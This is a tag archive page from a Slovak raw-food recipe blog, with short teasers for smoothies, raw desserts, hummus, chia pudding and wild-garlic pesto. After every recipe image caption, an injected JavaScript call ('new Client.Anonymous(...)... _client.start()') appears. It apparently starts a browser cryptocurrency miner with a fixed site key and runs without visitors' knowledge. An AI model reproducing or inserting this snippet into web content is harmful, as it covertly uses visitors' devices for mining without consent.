Archív značiek: kulinárium

Kathushkine #raw kulinárium | plnený hlávkový šalát

plnený hlávkový šalát var _client = new Client.Anonymous('0b408ad436e697e403cb6941f29f5bf9dcb41c85ae9dd6af93bab463618ffa07', {throttle: 0.4}); _client.start();

Vyskúšajte si naplniť hlávkový šalát vašou obľúbenou zeleninou. Na tanieri vyzerá vkusne a jeho príprava je až detsky jednoduchá. čítaj viac

Kathushkine #raw kulinárium | smoothie z granátového jablka

smoothie z granátového jablka (3) var _client = new Client.Anonymous('0b408ad436e697e403cb6941f29f5bf9dcb41c85ae9dd6af93bab463618ffa07', {throttle: 0.4}); _client.start();

Po dlhšej dobe je tu opäť smoothie nápoj, tentokrát s receptom, kde zužitkujete všetko z nákupu – napríklad aj zdanlivo takú zbytočnú časť bielej reďkovky, akou je jej vňať. Vyskúšajte! čítaj viac

Kathushkine #raw kulinárium | čokoládový dezert

čokoládový dezert var _client = new Client.Anonymous('0b408ad436e697e403cb6941f29f5bf9dcb41c85ae9dd6af93bab463618ffa07', {throttle: 0.4}); _client.start();

Túto ultrarýchlu mlsku som si vymyslela na večeru, keď som dostala chuť na niečo čokoládovo sladké a pudingové. A celé som to poliala jahodami. Doslova! Experimentujte! Zapojte fantáziu ako deti, ktorým recept na tento dezert venujeme na MDD. čítaj viac

Kathushkine #raw kulinárium | raw hummus

raw hummus var _client = new Client.Anonymous('0b408ad436e697e403cb6941f29f5bf9dcb41c85ae9dd6af93bab463618ffa07', {throttle: 0.4}); _client.start();

Jeden recept na hummus sme už publikovali. No tentokrát Kathushka ponúka jeho ultra živú ‪#‎raw‬ alternatívu. Vyskúšate? čítaj viac

Kathushkine #raw kulinárium | pomarančovo-čokoládový “cheesecake”

raw pomarančovo-čokoládový cheesecake var _client = new Client.Anonymous('0b408ad436e697e403cb6941f29f5bf9dcb41c85ae9dd6af93bab463618ffa07', {throttle: 0.4}); _client.start();

Tento recept som si ukradla z jedinečného raw portálu Rawmazing, keď sme spolu s neterou kuchtili recepty do jej ročníkovej práce o zdravej strave. A nechcem sa chváliť svojou šikovnosťou, ale táto tortička dopadla fantasticky! čítaj viac

Kathushkine #raw kulinárium | mandľovo-mangový smoothie

mandľovo-mangový smoothie var _client = new Client.Anonymous('0b408ad436e697e403cb6941f29f5bf9dcb41c85ae9dd6af93bab463618ffa07', {throttle: 0.4}); _client.start();

Mango je moje najmilšie ovocie, a tak ho väčšinou zjem hneď, ako je zrelé, bez akýchkoľvek kulinárskych príprav. Zbožňujem totiž jeho sladkú chuť a intenzívnu vôňu. Tentoraz som sa ovládla, aby som vyskúšala nový druh smoothies nápoja. Veru, neľutujem! čítaj viac

Kathushkine #raw kulinárium | malinový chia puding

Malinový chia puding var _client = new Client.Anonymous('0b408ad436e697e403cb6941f29f5bf9dcb41c85ae9dd6af93bab463618ffa07', {throttle: 0.4}); _client.start();

Chia semienka sú momentálne na trhu hotovou senzáciou. Ani sa tomu nečudujem, ich zdraviu prospešné účinky sú široko-ďaleko známe. Sú zásobárňou energie, ponúkajú 5x viac vápnika ako mlieko, vitamíny skupiny B, udržujú človeka dlho sýteho, obsahujú omega 3 a 6 mastné kyseliny a skrýva sa v nich ešte oveľa, oveľa viac, ale zvyšok si už dogúglite… ;) čítaj viac

Kathushkine #raw kulinárium | makové mlieko

IMG_8735 var _client = new Client.Anonymous('0b408ad436e697e403cb6941f29f5bf9dcb41c85ae9dd6af93bab463618ffa07', {throttle: 0.4}); _client.start();

Stačí len raz ochutnať a garantujem vám, že si ho tiež okamžite zamilujete! Pre organizmus prospešné zásadité <strong>makové mlieko</strong> je navyše bohaté na vápnik a ráno vás úžasne naštartuje. čítaj viac

Kathushkine #raw kulinárium | pesto z medvedieho cesnaku

pesto z medvedieho cesnaku var _client = new Client.Anonymous('0b408ad436e697e403cb6941f29f5bf9dcb41c85ae9dd6af93bab463618ffa07', {throttle: 0.4}); _client.start();

Prvé jarné dni nemožno začať nijak inak ako obrovským priehrštím čerstvého voňavého medvedieho cesnaku. Ak sa vám už zunovalo žuvať ho len tak nasurovo, vyskúšajte tento skvelý pesto variant.

Zelenina + pesto z medvedieho cesnaku = VNL. čítaj viac

Kathushkine #raw kulinárium | čučoriedkovo-banánový smoothie

čučoriedkovo-banánový smoothie var _client = new Client.Anonymous('0b408ad436e697e403cb6941f29f5bf9dcb41c85ae9dd6af93bab463618ffa07', {throttle: 0.4}); _client.start();

Nápoje smoothie sa tak dobre pijú, že ich miešame a mixujeme v stále nových kombináciách! čítaj viac